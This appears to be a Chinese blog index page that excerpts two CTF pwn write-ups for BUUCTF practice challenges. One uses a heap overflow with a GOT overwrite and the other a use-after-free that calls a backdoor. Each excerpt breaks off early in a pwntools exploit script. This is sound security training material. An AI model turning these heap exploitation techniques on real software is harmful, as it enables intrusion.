shidaofu的博客

国际惯例无脑 IDA思路WP总结

国际惯例ida后门有cat flag 因为平台是buu所以不考虑能打印flag，别问为什么！addeditdel思路有堆溢出而且没有PIE，那大概是改写got表了。WPfrom pwn import *p = remote('node3.buuoj.cn',28946)elf =ELF('./easyheap')def add(size,content): p.recvuntil('Your choice :') p.sendline('1') p.recv

国际惯例IDA主函数没啥特别的有后门adddelshow思路首先我们创建两个chunk，再free掉，之后add一个8字节的chunk，并添加后门，在通过show功能调用后门函数。WPfrom pwn import*r=remote('node3.buuoj.cn',26891)def add(size,content): r.sendlineafter('choice :','1') r.sendlineafter('Note size :',str(size)